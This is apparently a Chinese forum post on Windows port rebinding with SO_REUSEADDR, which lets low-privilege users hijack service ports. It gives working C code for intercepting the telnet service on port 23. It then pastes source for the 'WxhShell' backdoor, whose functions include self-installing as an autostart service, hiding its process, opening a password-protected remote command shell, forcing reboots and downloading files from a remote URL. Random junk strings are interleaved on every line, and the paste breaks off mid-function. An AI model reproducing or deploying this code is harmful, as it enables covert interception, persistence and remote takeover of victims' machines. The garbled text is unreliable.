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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =rFgOdj  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); UB|f{7~&  
@.6l^"L  
  saddr.sin_family = AF_INET; c%n[v3]  
<H::{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); K\v1o  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); LzEs_B=9  
>LRt,.hy6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :)_Ap{9J  
v `9IS+Z  
  这意味着什么?意味着可以进行如下的攻击: 2&S*> (  
n(\5Z&  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 X!KjRP\\  
7g^=   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) epqX2`!V  
s>~ h<B  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 pn<M`,F~q  
x >hnH{~w  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  e p* (  
r~N0P|Tq  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <05\  
^NKB  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *_ {w0U)  
VC,wQb1J/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 c4E=qgP  
cD{I*t$  
  #include Y5M>&}N  
  #include }%Dsy2:y  
  #include n@r'b{2;l  
  #include    W7r1!/ccj  
  DWORD WINAPI ClientThread(LPVOID lpParam);   {B8W>>E  
  int main() cPZD#";f  
  { A6v<+`?  
  WORD wVersionRequested; o[pv.:w  
  DWORD ret; zcnp?%  
  WSADATA wsaData; ppH5>Y 6c  
  BOOL val; ?~s,O$o  
  SOCKADDR_IN saddr; xcz[w}{eEq  
  SOCKADDR_IN scaddr; , g\%P5  
  int err; D^V0kC p!F  
  SOCKET s; _7Z|=)  
  SOCKET sc; AC :cV='  
  int caddsize; !l-^JPb  
  HANDLE mt; ]"Z*Hq z  
  DWORD tid;   +MU|XT_5|6  
  wVersionRequested = MAKEWORD( 2, 2 ); {U/a h2*  
  err = WSAStartup( wVersionRequested, &wsaData ); {eo4J&as  
  if ( err != 0 ) { N'[bA  
  printf("error!WSAStartup failed!\n"); jp?;8rS3  
  return -1; *<Yn  
  } /<,LM8n  
  saddr.sin_family = AF_INET; mv_N ns  
   ,*ZdM w!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #/!fLU@  
!.9pV.~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }#va#Nb(,  
  saddr.sin_port = htons(23); #-?C{$2I  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0]%0wbY1  
  { {YnR]|0&  
  printf("error!socket failed!\n"); UZ#Yd|'PD  
  return -1; 0*0]R C5?  
  } ,5`pe%W7  
  val = TRUE; #~<cp)!3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %6rMS}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Q[?O+  
  { rK 9  
  printf("error!setsockopt failed!\n"); [gI;;GW  
  return -1; ClZ:#uMbN  
  } owHV&(Go(B  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5=]q+&y\H  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r#ES|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 xDv5'IGBb  
g_'F(An  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Teq1VK3Hr  
  { >; a_i>[  
  ret=GetLastError(); T 1'8<pJ^  
  printf("error!bind failed!\n"); *9V;;bY#  
  return -1; ~gU.z6us  
  } >b9nc\~  
  listen(s,2); ]*b}^PQM^  
  while(1) hwgLJY?  
  { )\fAy  
  caddsize = sizeof(scaddr); 1 ?X(q  
  //接受连接请求 S ykblP37  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); )c~1s  
  if(sc!=INVALID_SOCKET) <k'JhMwN  
  { RW19I,d  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ` O;+N"v  
  if(mt==NULL) ?S&pq?   
  { m2&"}bI{  
  printf("Thread Creat Failed!\n"); 'wh2787  
  break; 5m2`$y-nb  
  } fT)u`voE,  
  } [>+}2-#  
  CloseHandle(mt); bMWL^*I  
  } ` @.  
  closesocket(s); LvP{"K;   
  WSACleanup(); |KSd@   
  return 0; Fh  t$7V  
  }   Z#H] yG  
  DWORD WINAPI ClientThread(LPVOID lpParam) q:2Vw`g'  
  { 9v[cy`\  
  SOCKET ss = (SOCKET)lpParam;  cTpmklq  
  SOCKET sc; /B>p.%M[&  
  unsigned char buf[4096]; 8$Igo$U-  
  SOCKADDR_IN saddr; .1F(-mLd  
  long num; xRu m q  
  DWORD val; $gKMVgD"  
  DWORD ret; 0sxZa+G0o  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Hj&mwn]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Q.SLiI  
  saddr.sin_family = AF_INET; 8j~:p!@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +)8,$1[p|  
  saddr.sin_port = htons(23); |0!oSNJ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2 de[ yz  
  { 3a#X:?  
  printf("error!socket failed!\n"); fwvPh&U&  
  return -1; &n:3n  
  } r2:n wlG  
  val = 100; Ec !fx\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GS),rNBur  
  { "r@f&Ssxb  
  ret = GetLastError(); G55-{y9Q  
  return -1;  B _;W!  
  } B I9~% dm  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 77y_?di^I  
  { SCbN(OBN!  
  ret = GetLastError(); aDJ\%  
  return -1; yO@KjCv"  
  } m~KGB"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) w]n ,`r^  
  { %3v:c|r  
  printf("error!socket connect failed!\n"); {P'TtlEp  
  closesocket(sc); tnx)_f  
  closesocket(ss); &{#4^.Q  
  return -1; bcgh}D  
  } OC)~psQK  
  while(1) [Yt!uhww  
  { ?$ rSbw  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 w-~u[c  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 z'cK,psq(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7D5;lM[_  
  num = recv(ss,buf,4096,0); w h4WII  
  if(num>0) 5_4Y/2_|  
  send(sc,buf,num,0); ^Y mq<*X  
  else if(num==0) i21ybXA=Z  
  break; uc6;%=%+  
  num = recv(sc,buf,4096,0); x9fNIuAQ  
  if(num>0) 1.+w&Y5   
  send(ss,buf,num,0); vN=bd7^?=  
  else if(num==0) rL+K Sb  
  break; "BN-Jvb7q  
  } P(z#Wk  
  closesocket(ss); c;M7[y&  
  closesocket(sc); {+Rf?'JZH  
  return 0 ; YS$?Wz  
  } R-xWZRl>  
O0`k6$=6r  
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========================================================== u_0&`zq  
ppv/ A4Kv  
下边附上一个代码,,WXhSHELL Ave{ `YD  
C[cNwvz  
========================================================== NzRpI5\.  
Vf Jpiv1  
#include "stdafx.h" gHU/yi!T  
KEfn$\  
#include <stdio.h> WU}?8\?U%  
#include <string.h> \Qa6mt2h  
#include <windows.h> ^QX3p,Y  
#include <winsock2.h> CuE>=y- "I  
#include <winsvc.h> _)4YxmK%  
#include <urlmon.h> t?[|oz:v  
 [Tha j  
#pragma comment (lib, "Ws2_32.lib") /.leY$  
#pragma comment (lib, "urlmon.lib") 99T_y`df  
nxzdg5A(w  
#define MAX_USER   100 // 最大客户端连接数 C^uH]WO  
#define BUF_SOCK   200 // sock buffer P#`Mg@.  
#define KEY_BUFF   255 // 输入 buffer <8yv(  
+-=o16*{ !  
#define REBOOT     0   // 重启 p h[ ^ve  
#define SHUTDOWN   1   // 关机 z"`q-R }m  
\/8 I6a=  
#define DEF_PORT   5000 // 监听端口 ]6wo]nV[P  
eQBR*@x  
#define REG_LEN     16   // 注册表键长度 {fsU(Jj\  
#define SVC_LEN     80   // NT服务名长度 ~WS;)Q0|  
I?sA)!8  
// 从dll定义API 2{t i])  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U1&pcwP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J \iyc,M<M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mp2J|!Lx  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -7_`6U2"  
2l43/aCq  
// wxhshell配置信息 UL0%oJ#  
struct WSCFG { ]e0yC  
  int ws_port;         // 监听端口 zh2gU@"  
  char ws_passstr[REG_LEN]; // 口令 l#8SlRji  
  int ws_autoins;       // 安装标记, 1=yes 0=no tz(\|0WDQ  
  char ws_regname[REG_LEN]; // 注册表键名 w#v8a$tT  
  char ws_svcname[REG_LEN]; // 服务名 Z P\A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _*b1]<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 y=!"++T]B<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YmP`Gg#> p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]<z4p'F1%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dQfVdqg  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i#I+   
hdB.u^!  
}; a9rn[n1Q  
P.bBu  
// default Wxhshell configuration cnm&o C 6  
struct WSCFG wscfg={DEF_PORT, :Mz$~o<  
    "xuhuanlingzhe", S1Q2<<[  
    1, \79KU   
    "Wxhshell", voRr9E*n  
    "Wxhshell", cP[3p :  
            "WxhShell Service", *2O4*Q1  
    "Wrsky Windows CmdShell Service", F.P4c:GD  
    "Please Input Your Password: ", !;'. mMO&%  
  1, r&AX  
  "http://www.wrsky.com/wxhshell.exe", =2HR+  
  "Wxhshell.exe" & [)1LRt_  
    }; e|:#Y^  
N>z<v\`  
// 消息定义模块 b2;+a(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k/+-Tq;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; u|m>h(O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [n/'JeG5  
char *msg_ws_ext="\n\rExit."; 19od# d3+  
char *msg_ws_end="\n\rQuit."; D3#/*Ky  
char *msg_ws_boot="\n\rReboot..."; %JBFG.+  
char *msg_ws_poff="\n\rShutdown..."; +hdD*}qauC  
char *msg_ws_down="\n\rSave to ";  |*079v  
[t55Kz*cD  
char *msg_ws_err="\n\rErr!"; 5ru&In&  
char *msg_ws_ok="\n\rOK!"; C2GF N1i  
I8r5u=PH  
char ExeFile[MAX_PATH]; X#9}|rT56  
int nUser = 0; HC,YmO:df"  
HANDLE handles[MAX_USER]; 1 h(oty2p  
int OsIsNt; uWw4l"RK`  
Skgvnmk[U  
SERVICE_STATUS       serviceStatus; 41luFtE9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @DgJxY|  
6Q]c]cCu  
// 函数声明 [;M31b3  
int Install(void); [u[`!L=  
int Uninstall(void); f$a%&X6"-  
int DownloadFile(char *sURL, SOCKET wsh); k)D:lpxv  
int Boot(int flag); uLV@D r   
void HideProc(void); ~@ZdO+n?  
int GetOsVer(void); 'Z LGt#  
int Wxhshell(SOCKET wsl); fu|N{$h%X  
void TalkWithClient(void *cs); J%']t$ AR  
int CmdShell(SOCKET sock); 5p6Kq=jhb  
int StartFromService(void); [KXxn>n  
int StartWxhshell(LPSTR lpCmdLine); w[w{~`([",  
#~um F%#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ND[u$N+5x"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |He,v/r  
l,}{Y4\G  
// 数据结构和表定义 KE\p|Xi  
SERVICE_TABLE_ENTRY DispatchTable[] = &.ZW1TxE8  
{ D$g|f[l  
{wscfg.ws_svcname, NTServiceMain}, $M\|zUQu.  
{NULL, NULL} iTgGf  
}; -|^}~yOx0=  
b#0y-bR  
// 自我安装 j`I[M6Qxh  
int Install(void) LjUBV_J  
{ }^uUw&   
  char svExeFile[MAX_PATH]; "Y@rNmBj  
  HKEY key; &Im{p7gf!b  
  strcpy(svExeFile,ExeFile); ")|3ZB7>*  
m7X&"0X  
// 如果是win9x系统,修改注册表设为自启动 j:D@X=|  
if(!OsIsNt) { QC.WR'.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p2}$S@GD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <,qJ% kc  
  RegCloseKey(key); dzDh V{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I}/o`oc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G v[W)+3f  
  RegCloseKey(key); 'Im7^!-d  
  return 0; PbOLN$hP  
    } 9`}Wp2  
  } [\CQ_qs|  
} Ms5m.lX  
else { `Z]Tp1U  
FUzIuz 6  
// 如果是NT以上系统,安装为系统服务 &fA`Od6l"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Lv@JfN"O  
if (schSCManager!=0) xB{0lI  
{ }J .f 5WaG  
  SC_HANDLE schService = CreateService \KfngYD]W  
  ( \3dM A_5  
  schSCManager, KZO!  
  wscfg.ws_svcname, Kx9Cx 5B  
  wscfg.ws_svcdisp, <mlQn?u  
  SERVICE_ALL_ACCESS, ]bO {001y,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9_'xq.uP  
  SERVICE_AUTO_START, @`2<^-r\  
  SERVICE_ERROR_NORMAL, 'U]= T<  
  svExeFile, Q&:% U  
  NULL, y XZZ)i_  
  NULL, DZ~w8v7V  
  NULL, BMU}NZA  
  NULL, <{m!.9g9  
  NULL 4s/4z@3a  
  ); \FN"0P(G  
  if (schService!=0) X0 &1ICZ  
  { u2K{3+r`'  
  CloseServiceHandle(schService); ";B.^pBv@;  
  CloseServiceHandle(schSCManager); 6N(Wv0b $  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {snLiCl  
  strcat(svExeFile,wscfg.ws_svcname); q@;WXHO0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a?6 r4u0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x.ZV<tDi7  
  RegCloseKey(key); j Efrxlj  
  return 0; .!0),KmkK  
    } @K36?d]e  
  } V ~w(^;o@  
  CloseServiceHandle(schSCManager); pH.wCD:1n  
} 6}mbj=E`  
} " |RP_v2  
[oOZ6\?HB  
return 1; P(G$@},W  
} B9|!8V  
L*bUjR,C  
// 自我卸载 E^L  
int Uninstall(void) |Hg)!5EJ  
{ Ous[{"-J  
  HKEY key; s]`&9{=E  
\1D~4Gz6}  
if(!OsIsNt) { %j=dKd>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d.tjLeY  
  RegDeleteValue(key,wscfg.ws_regname); p?X.I]=vRv  
  RegCloseKey(key); ,(Fo%.j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NylN-X7[#  
  RegDeleteValue(key,wscfg.ws_regname); /s& xI  
  RegCloseKey(key); QlI g'B6  
  return 0; p3I{  
  } )0`;leli  
}  =IV_yor  
}  ])}{GW  
else { &H,5f#  
q a#Fa)g*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6FG h=~{3,  
if (schSCManager!=0) t ),~w,7(J  
{ +Y(cs&V*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t3u"2B7oG  
  if (schService!=0) bO1J#bcZ  
  { raY5 nc{  
  if(DeleteService(schService)!=0) { S$\l M<M  
  CloseServiceHandle(schService); owZj Q  
  CloseServiceHandle(schSCManager); 1B= vrGq  
  return 0; Da1BxbDeI  
  } =[(1u|H 9  
  CloseServiceHandle(schService); X;flA*6V  
  } /pgfa-<  
  CloseServiceHandle(schSCManager); GdEkA  
} <ro0}%-z>M  
} aq~hl7MTj  
W?~G_4  
return 1; q,V JpqQ  
} 3 1KMn  
G/_#zIN`8M  
// 从指定url下载文件 s4P8PDhz  
int DownloadFile(char *sURL, SOCKET wsh) n l Xg8t^G  
{ MBs]<(RJZ  
  HRESULT hr; HxAq& J;xu  
char seps[]= "/"; /A}3kTp  
char *token; f7{E(,  
char *file; OGg9e  
char myURL[MAX_PATH]; Htl6Mr*{  
char myFILE[MAX_PATH]; ^DXERt&3  
}$#e&&)n  
strcpy(myURL,sURL); +mhYr]Z  
  token=strtok(myURL,seps); ^"v~hjM#  
  while(token!=NULL) UevbLt1Y  
  { TYWajcch  
    file=token; *XS@Ku  
  token=strtok(NULL,seps); cy7GiB2'  
  } QKc3Q5)@j  
6=A2Y:8  
GetCurrentDirectory(MAX_PATH,myFILE); }M?GqA=  
strcat(myFILE, "\\"); sY7:Lzs.,  
strcat(myFILE, file); ma@ws,H  
  send(wsh,myFILE,strlen(myFILE),0); <M nzR  
send(wsh,"...",3,0); 6#vD>@H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m'Z233Nt"  
  if(hr==S_OK) j]rE0Og  
return 0; >4}+\ Q`S  
else Bk a\0+  
return 1; _X;^'mqf~  
LdI)  
} iq,qf)BY.|  
^~-i>gTD  
// 系统电源模块 kU_bLC?>D  
int Boot(int flag) W*;~(hDz  
{ 'IP'g,o++  
  HANDLE hToken; NZ9=hI;iM  
  TOKEN_PRIVILEGES tkp; ;j=/2vU~@  
n9gj{]%  
  if(OsIsNt) { xB]~%nC[O  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bBAZr`<&U  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !FipKX  
    tkp.PrivilegeCount = 1; U4%d #  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; GBu&2}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "p.MJxH  
if(flag==REBOOT) { .x$+R%5U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J6Hw05%0=  
  return 0; . l RW  
} ] M "{=z  
else { ?'CIt5n+\{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pA"x4\s   
  return 0; |4YDvDEJi  
} :N\*;>  
  } !cE>L~cza  
  else { kLR4?tX!  
if(flag==REBOOT) { "uN JQ0Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sI/Hcm  
  return 0; qWKpnofa  
} v~q2D"  
else { {,*G }/9<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;nji<  
  return 0; !EF~I8d\]  
} go m< V?$  
} Dk&cIZ43  
WG NuB9R  
return 1; ~ 6 1?nu  
} jU)r~QhN  
_zI9 5  
// win9x进程隐藏模块 QOlm#S  
void HideProc(void) " ^ydoRZ  
{ H!4!1J.=xw  
;TF(opW:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Bt[`p\p@  
  if ( hKernel != NULL ) z!)_'A  
  { ,IA0n79  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~;aSX1   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); '{\VO U  
    FreeLibrary(hKernel); Hhr/o~?;}#  
  } j;<Yje&Wz  
-2o4v#d  
return; VxLq,$B76  
} (WR&Vt4Rh  
;i^p6b j  
// 获取操作系统版本 T.<er iv  
int GetOsVer(void) :HYqm*v;W  
{ bWt>tEnf  
  OSVERSIONINFO winfo; vI{JBWE,S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W tnZF]1:u  
  GetVersionEx(&winfo); .UakO,"z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rhMsZ={M  
  return 1; IQMk:  
  else A@j;H|  
  return 0; Um)0jT  
} '$ ~.x|  
l2+qP{_4  
// 客户端句柄模块 9b@L^]Kg  
int Wxhshell(SOCKET wsl) gTY\B.  
{ mwZesSxB_  
  SOCKET wsh; @z#;O2  
  struct sockaddr_in client; @SDsd^N{2P  
  DWORD myID; ElZ'/l*\  
/v: g' #n  
  while(nUser<MAX_USER) r7c(/P^$G  
{ }+nC}A"BC  
  int nSize=sizeof(client); %'kaNpBz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Oq(_I b)9  
  if(wsh==INVALID_SOCKET) return 1; =<_xUh.  
k[6@\D-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +)^F9LPl  
if(handles[nUser]==0) #57nm]?  
  closesocket(wsh); wA+J49  
else @4B+<,i   
  nUser++; VW<s_  
  } !X(Lvt/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QN9$n%Z  
l:a+o gm3  
  return 0; miCt)Qd  
} k sJz44  
0AY23/  
// 关闭 socket S59!+V  
void CloseIt(SOCKET wsh) {W3%n*q  
{ $7a| 9s0  
closesocket(wsh); ::g"dRS<v  
nUser--; KM g`O3_16  
ExitThread(0); Nm--h$G  
} }pbyC  
{q~Bss{z  
// 客户端请求句柄 )UI$ s"  
void TalkWithClient(void *cs) xgrk>Fb|R  
{ C?#if;c  
30*^ERO  
  SOCKET wsh=(SOCKET)cs; /,"Z^=  
  char pwd[SVC_LEN]; KwN o/x| v  
  char cmd[KEY_BUFF]; ?cG+rC%  
char chr[1]; r42[pi]F  
int i,j; a_^3:}i~D  
mn{8"@Z  
  while (nUser < MAX_USER) { f~jx2?W  
u6'vzLmM  
if(wscfg.ws_passstr) { @CP"AYB #  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KZ6}),p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j1N1c~2  
  //ZeroMemory(pwd,KEY_BUFF); *qAF#  
      i=0; }; +'  
  while(i<SVC_LEN) { p)f OAr  
>@[`,  
  // 设置超时 U`,&Q ]  
  fd_set FdRead; [@ "H2#CQ  
  struct timeval TimeOut; ?;0=>3p*0  
  FD_ZERO(&FdRead); g:q+.6va"  
  FD_SET(wsh,&FdRead); *ys@ 'Ai?  
  TimeOut.tv_sec=8; 5>t&)g  
  TimeOut.tv_usec=0; ?Mp~^sgp'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !3DWz6u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U; ?%rM6  
LbJ tU !  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~q?IG5s*Z  
  pwd=chr[0]; 0Tp?ED_  
  if(chr[0]==0xd || chr[0]==0xa) { -3/:Dk`3  
  pwd=0; _c['_HC  
  break; }zj w\  
  } oIt.Pc~;'#  
  i++; zG[fPD  
    } doBfpQ2  
o$\ {&:y  
  // 如果是非法用户,关闭 socket ?|%^'(U}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /R''R:j  
}  / >Wh  
N;F1Z-9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nUQcoSY#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &"._%S58V  
yH|ucN~k5S  
while(1) { T73oW/.0X?  
r%xp^j}  
  ZeroMemory(cmd,KEY_BUFF); \u2K?wC  
vYL{5,t {1  
      // 自动支持客户端 telnet标准   @ ~ N:F~  
  j=0; 4(R O1VWsb  
  while(j<KEY_BUFF) { Y` LZ/Tgk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~{n_rKYV  
  cmd[j]=chr[0]; %+w>`k3(N  
  if(chr[0]==0xa || chr[0]==0xd) { req=w;E:  
  cmd[j]=0; ?f1%)]>   
  break; H#E   
  } gu/eC  
  j++; Gu V -[  
    } doFp53NhV  
%Wom]/&,'  
  // 下载文件 s2@N&7"u)  
  if(strstr(cmd,"http://")) { w(J-[t118  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @!Il!+^3  
  if(DownloadFile(cmd,wsh)) }1`Rq?@J  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *-ZD-B*?  
  else Z"lL=0rY/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \C ZiU3  
  } B+jT|Y'  
  else { mppBc-#EYr  
Ufv{6"sH  
    switch(cmd[0]) { ";`ddN3  
  {uM0J$P:  
  // 帮助 E;$t|~ #  
  case '?': { && ecq   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |}es+<P  
    break; -v&Q 'a  
  } MCurKT<pQ  
  // 安装 Ki^m&P   
  case 'i': { wC{ =o`v  
    if(Install()) ~"gOq"y 5p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7Hf6$2Wh  
    else Sj+ gf~~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yZb@  
    break; bC$n+G>6k  
    } XZV)4=5iSO  
  // 卸载 dDi 1{s  
  case 'r': { HNY{%D  
    if(Uninstall()) r;y&Wa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jS5e"LMIq  
    else J%aW^+O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KFA B  
    break; 9=rYzA?)+  
    } \&R}JK  
  // 显示 wxhshell 所在路径 ZA2y  
  case 'p': { kC01s  
    char svExeFile[MAX_PATH]; U> e@m?  
    strcpy(svExeFile,"\n\r"); 3 V8SKBS  
      strcat(svExeFile,ExeFile); pP{b!1  
        send(wsh,svExeFile,strlen(svExeFile),0); e:AB!k^xp$  
    break; >7vSN<w~m  
    } -hQ=0h~\B.  
  // 重启 7vNS@[8  
  case 'b': { uji])e MN~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /# 0@C[9  
    if(Boot(REBOOT)) 5;`([oX|_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?TMo6SU  
    else { t82Bp[t  
    closesocket(wsh); IhM-a Y y5  
    ExitThread(0); OMJr.u  
    } ] X%bU*4  
    break; )09_CC!a  
    } ksu:RJ-  
  // 关机 /iy2j8: z  
  case 'd': { /J/r62  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Cla Yy58v  
    if(Boot(SHUTDOWN)) p&Nw:S  
